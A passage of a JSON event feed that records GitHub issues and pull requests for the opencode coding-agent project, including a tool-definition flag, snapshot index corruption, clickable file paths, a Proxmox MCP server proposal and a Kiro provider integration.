          "text": "### Issue for this PR Closes #40214 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds `strict?: boolean` to the tool definition and the `tool.definition` plugin hook, passed to the AI SDK `Tool` only when a tool sets it. Today `session/llm/request.ts` forces `strict: false` on the OpenAI Responses-family providers and leaves it unset elsewhere, so a tool has no way to ask for it. That override still runs after this and still wins, so nothing changes unless a tool opts in. Five lines of source, the rest is tests. ### How did you verify your code works? Rebased on current `dev`. Typecheck 30/30. `bun test test/tool/ test/provider/ test/session/ test/plugin/`: 1452 pass, 0 fail. Reverting the source makes the new registry test fail. ### Screenshots / recordings Not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42236",
          "createdAt": "2026-08-13T03:43:11Z",
          "updatedAt": "2026-08-13T04:24:01Z",
          "timestamp": "2026-08-13T04:24:01Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "mayshwartz2",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:e648390aa74359995ddd",
        "signalId": "github:anomalyco/opencode:pull_request:42240",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42240",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "Readme fork",
          "text": "### Issue for this PR Closes # ### Type of change - [ ] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Please provide a description of the issue, the changes you made to fix it, and why they work. It is expected that you understand why your changes work and if you do not understand why at least say as much so a maintainer knows how much to value the PR. **If you paste a large clearly AI generated description here your PR may be IGNORED or CLOSED!** ### How did you verify your code works? ### Screenshots / recordings _If this is a UI change, please include a screenshot or recording._ ### Checklist - [ ] I have tested my changes locally - [ ] I have not included unrelated changes in this PR _If you do not follow this template your PR will be automatically rejected._",
          "url": "https://github.com/anomalyco/opencode/pull/42240",
          "createdAt": "2026-08-13T04:22:57Z",
          "updatedAt": "2026-08-13T04:23:19Z",
          "timestamp": "2026-08-13T04:23:19Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [
            "needs:title",
            "needs:compliance"
          ],
          "author": "MethodWhite",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:6a5271768f7b5b547183",
        "signalId": "github:anomalyco/opencode:issue:42239",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42239",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "35;125;28M in console after existing",
          "text": "### Description If I exit opencode (Ubuntu) it writes 35;125;28M into the console which prevents me from running directly the next command, I need first to delete these. ### Plugins _No response_ Version 1.18.18 _No response_ ### Steps to reproduce Start opencode via the command line ### Screenshot and/or share link <img width=\"131\" height=\"55\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/b6aa9c5d-d120-44dc-bd29-de32f21dcdb8\" /> ### Operating System Ubuntu 26.04 ### Terminal bash in default Ubuntu Terminal",
          "url": "https://github.com/anomalyco/opencode/issues/42239",
          "createdAt": "2026-08-13T04:11:16Z",
          "updatedAt": "2026-08-13T04:13:34Z",
          "timestamp": "2026-08-13T04:13:34Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "vogella",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:a7ba3fb1630f32aef314",
        "signalId": "github:anomalyco/opencode:issue:42237",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42237",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "snapshot: corrupt index causes repeated capture failures and unresponsive service",
          "text": "## Summary Snapshot capture writes into per-workspace snapshot git repositories under `~/.local/share/opencode/snapshot/<project.id>/<hash>`. When the service is restarted (including automatic `next` channel updates) mid-capture, the repository's `.git/index` is left corrupt (signature `0x00000000`). From then on every capture attempt fails with `Git.OperationError: hatalı imza 0x00000000 / fatal: indeks dosyası hasarlı`, producing thousands of warnings per hour and eventually making the web UI (and service) unresponsive after roughly 10-30 conversation steps. ## Environment - opencode version: 0.0.0-next-17400 (observed failures also on 0.0.0-next-17292..17296) - OS: Linux 7.0.0-28-generic #28~24.04.1-Ubuntu SMP x86_64 - Terminal: TERM=xterm-256color - Shell: /bin/bash - Install/channel: npm, next (auto-update observed: 13:57Z, 14:07Z, 14:17Z, 14:35Z, 14:46Z) - Active plugins: /home/ugur/Projects/opencode-omni/dist/plugin.js, /home/ugur/Projects/opencode-rust-coder ## Reproduction 1. Trigger a service restart while a session is active (e.g. `opencode2 service restart`, or wait for an automatic `next` update which restarts the service). 2. Send a message in the web UI / any session. The snapshot capture runs per event and writes the snapshot repo index. 3. If the restart interrupted a capture, subsequent captures keep failing: each event logs `failed to capture snapshot` with `Git.OperationError: error: hatalı imza 0x00000000\\nfatal: indeks dosyası hasarlı`. 4. After roughly 10-30 steps (5-20 minutes), the web UI stops responding. ## Expected Behavior - Snapshot index writes should be atomic (temp file + rename) and/or capture should self-heal a corrupt index (e.g. recreate it) instead of failing forever. - A corrupt index should not accumulate failures to the point where the service becomes unresponsive. ## Actual Behavior - `packages/core/src/snapshot.ts` has no atomic write pattern (no writeFile/rename) and no self-heal for a corrupt index. - Capture runs git subprocesses (`packages/core/src/git.ts:192` `run(cwd, proc)`), so an interrupted write leaves a partial index. - 13,780 `failed to capture snapshot` warnings accumulated between 14:25Z and 19:24Z on 2026-08-12; the web UI became unresponsive in this window. - Manual repair (`rm .git/index && git reset` in the affected snapshot repos) stopped the failures completely: 0 failures after 19:24:33Z over 8+ hours. ## Additional Context - Snapshot repos live at `~/.local/share/opencode/snapshot/<project.id>/<hash>`; the git repository root is the session dir itself (branches/config/HEAD/index present, no nested `.git`). - Snapshot can be disabled via config (`\"snapshots\": false`, checked via `Config.latest(config, \"snapshots\") !== false` in `snapshot.ts`), but default-on should be resilient. - The affected repo index signature was `0x00000000` (4-byte check of the `index` file). - Workaround that resolved it: recreate the corrupt index files in the snapshot directories (`rm index && git reset`) and restart the service.",
          "url": "https://github.com/anomalyco/opencode/issues/42237",
          "createdAt": "2026-08-13T04:01:12Z",
          "updatedAt": "2026-08-13T04:10:37Z",
          "timestamp": "2026-08-13T04:10:37Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "2.0"
          ],
          "author": "ugur-murat-alt",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:c82f26e10f6ac7a579f0",
        "signalId": "github:anomalyco/opencode:issue:42204",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42204",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "MCP Proxmox MVP - Proxmox Server Monitoring & Basic Commands",
          "text": "## Problem Statement We need to build an MCP (Model Context Protocol) server for Proxmox VE that enables AI agents to monitor server status, access logs, and execute basic commands. This is an MVP focused on core monitoring and lifecycle management capabilities. ## Solution Build a TypeScript/Node.js MCP server that connects to Proxmox VE via API token authentication, exposing tools for monitoring and basic VM/CT lifecycle management. The server will use stdio transport and be distributed as an npm package. ## User Stories ### Monitoring - VM/CT Status 1. As a user, I want to list all VMs and containers on my Proxmox node, so that I can see what is running 2. As a user, I want to get the status of a specific VM/container, so that I can check if it is running, stopped, or paused 3. As a user, I want to get detailed VM/container information (CPU, memory, disk usage), so that I can monitor resource consumption ### Monitoring - Node Status 4. As a user, I want to list all Proxmox nodes in my cluster, so that I can see the cluster topology 5. As a user, I want to get CPU, memory, and disk usage of a node, so that I can monitor node health 6. As a user, I want to get node uptime and version information, so that I can track maintenance windows ### Monitoring - Storage Status 7. As a user, I want to list all storage pools, so that I can see available storage 8. As a user, I want to get storage usage statistics, so that I can monitor disk space 9. As a user, I want to get storage type and status information, so that I can identify storage health issues ### Monitoring - Network Status 10. As a user, I want to list network interfaces on a node, so that I can see network configuration 11. As a user, I want to get network interface statistics (traffic, errors), so that I can monitor network health 12. As a user, I want to get bridge and VLAN information, so that I can understand network topology ### Log Access 13. As a user, I want to read VM/container console output, so that I can debug issues 14. As a user, I want to access task logs (backup, migration, etc.), so that I can track operations 15. As a user, I want to access Proxmox system logs, so that I can monitor host health 16. As a user, I want to filter logs by time range or severity, so that I can find relevant entries ### Basic Commands - VM/CT Lifecycle 17. As a user, I want to start a VM/container, so that I can bring services online 18. As a user, I want to stop a VM/container, so that I can take it offline gracefully 19. As a user, I want to shutdown a VM/container (ACPI), so that I can perform graceful shutdown 20. As a user, I want to reboot a VM/container, so that I can apply updates 21. As a user, I want to get the status after a lifecycle operation, so that I can confirm the action succeeded ### Security & Access Control 22. As a user, I want to configure API token authentication via environment variables, so that credentials are secure 23. As a user, I want separate read-only and read-write access tiers, so that I can control what operations are allowed 24. As a user, I want configurable TLS verification, so that I can use self-signed certs in dev ### Installation & Configuration 25. As a user, I want to install the MCP server via npm, so that I can easily add it to my project 26. As a user, I want clear configuration instructions, so that I can set up the server quickly 27. As a user, I want the server to validate configuration on startup, so that I get clear error messages ## Implementation Decisions ### Tech Stack - **Language:** TypeScript/Node.js (ESM modules) - **Runtime:** Node.js 20+ LTS - **MCP SDK:** `@modelcontextprotocol/server@^2.0.0` (v2 stable line) - **Schema Validation:** Zod v4 - **Transport:** stdio (default for local MCP servers) ### Proxmox Integration - **API Access:** Raw HTTP client (not using `proxmox-api` library due to GPL-3.0 license and dormancy) - **Authentication:** API token only (`Authorization: PVEAPIToken=USER@REALM!TOKENID=UUID`) - **Base URL:** `https://host:8006/api2/json/...` - **TLS Handling:** Default strict, allow `PVE_TLS_REJECT_UNAUTHORIZED=false` env var for dev ### Tool Organization - Tools organized by resource type: VM/CT, Node, Storage, Network, Logs - Clear naming convention: `{action}_{resource}` (e.g., `list_vms`, `get_node_status`) - Access tiers: read-only tools vs lifecycle/write tools ### Access Tiers - **Read tier:** All monitoring and log access tools - **Write tier:** VM/CT lifecycle commands (start, stop, shutdown, reboot) ### Environment Variables - `PVE_HOST` — Proxmox server hostname/IP - `PVE_PORT` — Proxmox API port (default: 8006) - `PVE_TOKEN_ID` — API token ID - `PVE_TOKEN_SECRET` — API token secret - `PVE_REALM` — Authentication realm (default: pam) - `PVE_USERNAME` — API token username - `PVE_TLS_REJECT_UNAUTHORIZED` — TLS verification (default: true) ### Package Structure - Package name: `@drmfar/mcp-proxmox` - Entry point: `dist/index.js` - TypeScript compilation to `dist/` directory ## Testing Decisions - Unit tests for each tool handler - Integration tests against a mock Proxmox API (or real PVE in CI) - Test external behavior (tool outputs), not implementation details - Use vitest as the test framework - Test both access tiers separately ## Out of Scope - Snapshot management (can be added later) - Backup operations (can be added later) - VM/container creation/deletion (can be added later) - Complex networking configuration - Cluster management operations - HTTP/SSE transport (stdio only for MVP) ## Further Notes - Reference implementation: `@samik081/mcp-pve` (117 tools) - good blueprint to learn from - Proxmox REST API documentation: https://pve.proxmox.com/pve-docs/api-viewer/ - MCP v2 spec: https://modelcontextprotocol.io/specification/2026-07-28 - Self-signed certs are common in Proxmox - TLS handling is critical",
          "url": "https://github.com/anomalyco/opencode/issues/42204",
          "createdAt": "2026-08-13T01:09:28Z",
          "updatedAt": "2026-08-13T03:47:04Z",
          "timestamp": "2026-08-13T03:47:04Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "drmfar",
          "state": "closed",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:ae2d1cc0224a22e5ae1b",
        "signalId": "github:anomalyco/opencode:pull_request:38645",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:38645",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): make file paths in read/grep/glob tool output clickable",
          "text": "### Issue for this PR Relates to #37891 (partial: TUI file-path click only, not desktop/web) ### Type of change - [x] New feature ### What does this PR do? Makes the summary line of `Read`, `Grep`, and `Glob` tool blocks in the TUI clickable. Clicking opens the referenced file (or search root for grep/glob) in `$VISUAL`/`$EDITOR`, falling back to `code`. I first tried emitting OSC8 terminal hyperlinks from tool output text, but that doesn't work: with `mouse: true` (the default), opencode's own OpenTUI mouse capture intercepts clicks before the terminal ever sees them, so terminal-native link features (tested in Warp) never fire. The TUI already has an `onMouseUp`-based `Link` component and `InlineTool` already exposes an `onClick` prop (used today by the `Task` block), so I reused that same mechanism instead of fighting the terminal. Added `openFileAtLocation()` in `packages/tui/src/editor.ts` — spawns the editor detached (non-blocking), appends `--goto file:line:col` for VS Code/Cursor/Codium/Windsurf when a line is known, otherwise passes the plain path (needed for grep/glob search roots, which can be directories). **Note:** I found #15631 after opening this, which covers overlapping ground with a broader scope and a different mechanism (OS-default-app `file://` links vs. editor-targeted `--goto`). Left details in the comments for maintainers to triage. ### How did you verify your code works? - `bun run typecheck` in `packages/tui` — passes clean, no errors. - `bun test --timeout 30000` in `packages/tui` — 191 pass, 1 skip (pre-existing, unrelated to this change), 0 fail. - Manually reviewed the new `onClick` wiring against the existing `Task` block's usage of the same `InlineTool`/`onClick` pattern. I don't have a way to click through the TUI interactively in my current environment, so I could not manually click-test the feature end-to-end — verification above is typecheck + full existing test suite passing with no regressions, not a manual interaction test. ### Screenshots / recordings Not included — I don't have a way to record the TUI in my current environment. Reviewers can verify by clicking a `Read`/`Grep`/`Glob` line locally. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/38645",
          "createdAt": "2026-07-24T07:50:03Z",
          "updatedAt": "2026-08-13T03:45:18Z",
          "timestamp": "2026-08-13T03:45:18Z",
          "metrics": {
            "reactions": 1,
            "comments": 4
          },
          "labels": [],
          "author": "albertofrzara",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:1c60c0ff776df585cf9d",
        "signalId": "github:anomalyco/opencode:pull_request:39206",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:39206",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(desktop): make file:// chat links clickable",
          "text": "### Issue for this PR Closes #37891 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? In the desktop app, `file://` links and absolute paths in chat looked clickable but did nothing. Two causes: 1. DOMPurify dropped `file:` hrefs (default URI allowlist is web-only). 2. The desktop click handler always called `shell.openExternal` via `open-link`, which is the wrong path for local files (and #38914 is tightening that further to http(s)-only). This PR: - Allows `file:` through the sanitizer **only on desktop** (`oc://` renderer / desktop API present). Web is unchanged. - On click: `file://` and absolute-path hrefs go through existing `openPath` / `revealPath` IPC (already used by the session header). Modifier-click (⌘/Ctrl/Alt) reveals in Finder/Explorer; plain click opens with the OS default app. - Hardens `open-link` to http(s) only so local paths never hit `openExternal`. - Turns absolute path chips in assistant markdown into `file://` links on desktop. Workspace-relative path chips and opening in the built-in editor tab are out of scope here. ### How did you verify your code works? ```bash cd packages/desktop && bun test src/main/external-link.test.ts src/renderer/file-link.test.ts cd packages/session-ui && bun test src/components/markdown-desktop.test.ts ``` All 15 tests pass. Unit coverage includes URI parsing (unix/windows/`file:`/line:col suffixes), `safeExternalUrl` rejection of non-http(s), and desktop path→href conversion. ### Screenshots / recordings _N/A — behavior change on click; no visual layout change beyond links remaining present after sanitize (they were stripped before)._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/39206",
          "createdAt": "2026-07-27T23:31:36Z",
          "updatedAt": "2026-08-13T03:45:12Z",
          "timestamp": "2026-08-13T03:45:12Z",
          "metrics": {
            "reactions": 1,
            "comments": 4
          },
          "labels": [],
          "author": "tauseefkhan-max",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:0dfe9ce8e6fb61c5ce4a",
        "signalId": "github:anomalyco/opencode:issue:37891",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:37891",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Desktop: make file paths in chat clickable (open in editor / reveal in Finder)",
          "text": "## Summary In the OpenCode **desktop app**, file and folder paths rendered in assistant messages look like interactive chips/links, but they are not clickable. Markdown `file://` links are also not clickable. There is no way to open a referenced path in the built-in editor, system default app, or Finder/Explorer from the chat transcript. ## Environment - OpenCode Desktop (macOS) - Model: Grok 4.5 (via OpenCode) - Observed: 2026-07-20 ## Steps to reproduce 1. Ask the agent to list files in a folder (or any reply that includes absolute paths). 2. Paths render as styled chips (gray background), e.g. `` `/Users/.../file.md` ``. 3. Click a chip → nothing happens. 4. Ask the agent to emit markdown links instead: ```md [file.md](file:///Users/me/project/file.md) ``` 5. Click the link → nothing happens (links are not interactive). ## Expected Clicking a path/link in chat should offer a useful action, for example: - **Primary click**: open file in OpenCode’s built-in editor / file browser tab - **Secondary / modifier**: Reveal in Finder (macOS) / Explorer (Windows) / file manager (Linux) - Folders: open in file browser or reveal in Finder - Optional: `path:line` / `path:line:col` jumps to location ## Actual Paths and `file://` markdown links are non-interactive. Users must copy the path and run something like: ```bash open -R \"/full/path/to/file\" ``` or ask the agent to run `open` for them. ## Why this matters Agents constantly point at files they created or edited. Click-to-open is table stakes in Cursor/VS Code/Claude Code-style UIs and removes a constant copy-paste friction, especially for non-code artifacts (PDFs, PNGs, `.docx`, data folders). ## Related - #31406 — open files in built-in editor in web UI - #36512 — built-in file explorer panel - #30074 — enhanced file management - PR #31407 — file mentions open in editor (closed/abandoned) - PR #30404 — make file tool titles clickable (closed/abandoned) - PR #35829 — inline file browser tabs (merged) — suggests UI surface already exists to open into ## Suggested acceptance criteria 1. Absolute and workspace-relative paths in assistant markdown become clickable. 2. Click opens the file in the desktop file browser/editor when possible. 3. Right-click or modifier-click reveals the path in the OS file manager. 4. Invalid/missing paths show a clear toast instead of silently doing nothing. 5. Works for both inline code paths and markdown links (`file://` and relative). Thanks — happy to test a nightly/desktop build.",
          "url": "https://github.com/anomalyco/opencode/issues/37891",
          "createdAt": "2026-07-20T09:36:32Z",
          "updatedAt": "2026-08-13T03:45:06Z",
          "timestamp": "2026-08-13T03:45:06Z",
          "metrics": {
            "reactions": 1,
            "comments": 4
          },
          "labels": [],
          "author": "tauseefkhan-max",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:3b63a0e2dc83b57098cc",
        "signalId": "github:anomalyco/opencode:issue:42234",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42234",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "TUI stays alive with EOF stdin and no TTY",
          "text": "### Reproduction ```sh docker run -d --name opencode-eof node:22-bookworm-slim sleep infinity docker exec opencode-eof npm install -g opencode-ai@1.18.18 timeout -s KILL 8s docker exec opencode-eof opencode </dev/null docker top opencode-eof -eo pid,ppid,tty,stat,etime,args ``` ### Actual `opencode` does not exit. After the `docker exec` client is killed, the TUI process remains in the container with no TTY. ### Expected Exit with a clear error when the TUI has EOF stdin and no prompt. Otherwise the process can hold an active exec session indefinitely and prevent auto-sleep for idle environments.",
          "url": "https://github.com/anomalyco/opencode/issues/42234",
          "createdAt": "2026-08-13T03:32:40Z",
          "updatedAt": "2026-08-13T03:33:57Z",
          "timestamp": "2026-08-13T03:33:57Z",
          "metrics": {
            "reactions": 1,
            "comments": 1
          },
          "labels": [],
          "author": "xichen1997",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:c37e729248007a5e47f3",
        "signalId": "github:anomalyco/opencode:pull_request:20491",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:20491",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(opencode): add Kiro provider",
          "text": "### Issue for this PR Closes #9165, #26680 ### Type of change - [ ] Bug fix - [X] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds Kiro (AWS) as a provider to opencode through bundled plugin ([opencode-kiro](https://www.npmjs.com/package/opencode-kiro)). It uses the AI SDK compatible package [kiro-acp-ai-provider](https://www.npmjs.com/package/kiro-acp-ai-provider) which communicates with Kiro ACP. Auth plugin checks for an existing kiro-cli auth token. If not authenticated it launches kiro-cli login and polls until auth completes. Supports whatever authentication kiro-cli supports (Builder ID, IAM Identity Center, API keys, etc). Cost display: Kiro is credit-based so the standard $0.00 cost display doesn't apply. The plugin includes a modification to the TUI to show the current session's credit usage. This cost will be shown alonside $ cost if Kiro and a $ cost based provider are used in the same session. Models are in a separate [models.dev PR](https://github.com/anomalyco/models.dev/pull/2559) **Wiring into existing code:** - `packages/opencode/src/plugin/index.ts`: one import (`import { KiroAuthPlugin } from \"opencode-kiro/server\"`) and one entry added to the `internalPlugins()` array. - `packages/opencode/package.json`: one dependency line, `\"opencode-kiro\": \"0.3.6\"`. - `bunfig.toml`: `opencode-kiro` and `kiro-acp-ai-provider` added to `minimumReleaseAgeExcludes`. Reason: these packages were freshly published, so they have not yet cleared the configured minimum release-age window; the exclude lets the pinned versions install. This mirrors the existing entries for `opencode-gitlab-auth` and others. - `bun.lock`: regenerated to record the new dependency tree (adds `opencode-kiro@0.3.6` and its dependency `kiro-acp-ai-provider@2.1.2`). The bundled internal plugin is server-side only (no TUI). It contributes a `provider: \"kiro\"` auth hook with OAuth via the official `kiro-cli login`, plus a `provider.models` hook that adds reasoning-effort variants (see Reasoning effort below). The ACP protocol details are fully encapsulated in `kiro-acp-ai-provider@2.1.2` (a dependency of `opencode-kiro`), so opencode core never deals with ACP directly. `opencode-kiro` pins its only runtime dependency (`kiro-acp-ai-provider`) to an exact version rather than a range, so the bundled dependency tree is fully determined and not subject to drift. ### Auth flow, and the credits-sidebar consent prompt The bundled auth plugin shows a consent prompt during sign-in, and on approval it writes a TUI config file in the user's home config directory. When a user runs the `/connect` flow for Kiro, the plugin declares a Yes/No `select` via opencode's standard auth-method `prompts` contract: > Enable the Kiro credits sidebar? [Yes / No] - If the user picks Yes, the plugin writes the global `~/.config/opencode/tui.json` (or `$XDG_CONFIG_HOME/opencode/tui.json` when that is set), merging only `\"plugin\": [\"opencode-kiro\"]` into it. The write is idempotent and non-destructive, and a write failure never fails auth. - The credits sidebar is appended as its own box; it does not disable or replace the native context box. - If the user picks No, nothing is written and login still succeeds. This config is what enables the opt-in credits sidebar described below. It is separate from the `opencode plugin opencode-kiro` installer path, which is opencode-core functionality that patches the `plugin` arrays of `.opencode/opencode.json` and `.opencode/tui.json`. ### Reasoning effort Models that expose an effort setting (Opus 4.8/4.7/4.6, Sonnet 4.6) get selectable effort levels through opencode's variant toggle (ctrl+t). The plugin's `provider.models` hook maps each model's supported levels to opencode variants, and `kiro-acp-ai-provider` applies the chosen level through kiro-cli. minimax m2.5/m2.1 stream reasoning with no selectable effort. **Why not reuse PRs #9164 / #18408:** - Neither is compliant with the current [Kiro T&C](https://kiro.dev/faq/#with-which-tools-can-i-use-my-kiro-subscription). ### How did you verify your code works? - End-to-end tested using multiple kiro models : chat streaming, tool calling (bash, file ops), tool result round-trips, multi-turn conversations, compaction, revert, fork, subagent isolation. - Credit display verified in TUI. - The opencode-kiro kiro-acp-ai-provider tests suites passing independently ### Screenshots / recordings <img width=\"1019\" height=\"462\" alt=\"Screenshot 2026-06-24 at 18 46 28\" src=\"https://github.com/user-attachments/assets/02644ee3-18de-476f-904c-def43a551045\" /> <img width=\"485\" height=\"211\" alt=\"Screenshot 2026-06-18 at 00 20 47\" src=\"https://github.com/user-attachments/assets/8f0f5ffd-73ec-46b3-87de-c753349e0708\" /> <img width=\"487\" height=\"160\" alt=\"Screenshot 2026-06-18 at 00 20 26\" src=\"https://github.com/user-attachments/assets/ba2016bc-28ee-4eaf-a5c2-8075753e521f\" /> <img width=\"489\" height=\"181\" alt=\"Screenshot 2026-06-18 at 00 20 13\" src=\"https://github.com/user-attachments/assets/0c5871a9-894f-4c97-abf5-bdda93b9b23e\" /> ### Checklist - [X] I have tested my changes locally - [X] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/20491",
          "createdAt": "2026-04-01T15:17:06Z",
          "updatedAt": "2026-08-13T03:27:26Z",
          "timestamp": "2026-08-13T03:27:26Z",
          "metrics": {
            "reactions": 48,
            "comments": 54
          },
          "labels": [
            "contributor"
          ],
          "author": "NachoFLizaur",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:1edc0611688d84872a88",
        "signalId": "github:anomalyco/opencode:issue:27481",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:27481",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Open Path\" Error - ENOENT Spawn Failure",
          "text": "### Description I'm experiencing an error when trying to open files/projects using the tabs/buttons in the OpenCode desktop app. The operation fails with the following error: Copy Request failed Error invoking remote method 'open-path': Error: spawn [object Promise] ENOENT Environment Details: App: OpenCode Desktop Application Location: ~\\Desktop\\game\\cleaning-business (Windows) OS: Windows 11 (inferred from UI and taskbar) Issue Explanation: When clicking the tabs/buttons to open projects or files in the desktop app, the \"open-path\" method fails. The error indicates: A spawn function was called but couldn't locate or execute the target ENOENT = \"Error NO ENTry\" - the system cannot find the file/program specified Possible Causes: Path contains special characters or format that's not properly escaped (e.g., space in \"cleaning-business\") The spawn function is expecting a string but received a Promise object instead Permissions issue with accessing the file/folder OpenCode desktop app misconfigured to handle Windows paths correctly Expected Behavior: Clicking on project tabs should open them in the default file viewer or VS Code (or whatever configured). Instead, it throws an error immediately. Steps to Reproduce: Launch OpenCode Desktop App Navigate to the \"cleaning-business\" project folder Try clicking any tab/button to open a file/project Observe error popup in bottom-right corner Additional Context: The directory appears to have HTML files (index.html, about.html, etc.) Git integration option is visible but not yet enabled User confirms they're trying from within the desktop app UI, not via CLI I'd appreciate help fixing this issue so I can open projects properly through the desktop app. ### Plugins none git and nodejs installed ### OpenCode version OpenCode Desktop v1.14.50 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/27481",
          "createdAt": "2026-05-14T08:11:16Z",
          "updatedAt": "2026-08-13T03:23:43Z",
          "timestamp": "2026-08-13T03:23:43Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [
            "needs:compliance"
          ],
          "author": "Andresch1966",
          "state": "closed",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:23861a69a5412cfef365",
        "signalId": "github:anomalyco/opencode:issue:40295",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:40295",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "opencode邀请失效了",
          "text": "### Description opencode邀请失效了 <img width=\"1277\" height=\"685\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/4f511887-a5bc-4f90-8466-cd64b0392392\" /> ### Plugins opencode cli ### OpenCode version 最新的 ### Steps to reproduce 1.邀请一个好友,好友使用你的订阅购买 2.然后等一段时间，本来可以换额度的，就被充值了 ### Screenshot and/or share link opencode邀请失效了 <img width=\"1300\" height=\"699\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/62b8624c-89ef-42b8-b7c2-9aae6f889548\" /> ### Operating System windows10 ### Terminal windows terminal",
          "url": "https://github.com/anomalyco/opencode/issues/40295",
          "createdAt": "2026-08-03T14:58:12Z",
          "updatedAt": "2026-08-13T03:22:21Z",
          "timestamp": "2026-08-13T03:22:21Z",
          "metrics": {
            "reactions": 1,
            "comments": 5
          },
          "labels": [],
          "author": "bilibili2233kkxx",
          "state": "open",
          "assignees": [
            "fwang"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:d51bba942e22cef12102",
        "signalId": "github:anomalyco/opencode:issue:42232",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42232",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "titlebar update button extra spacing",
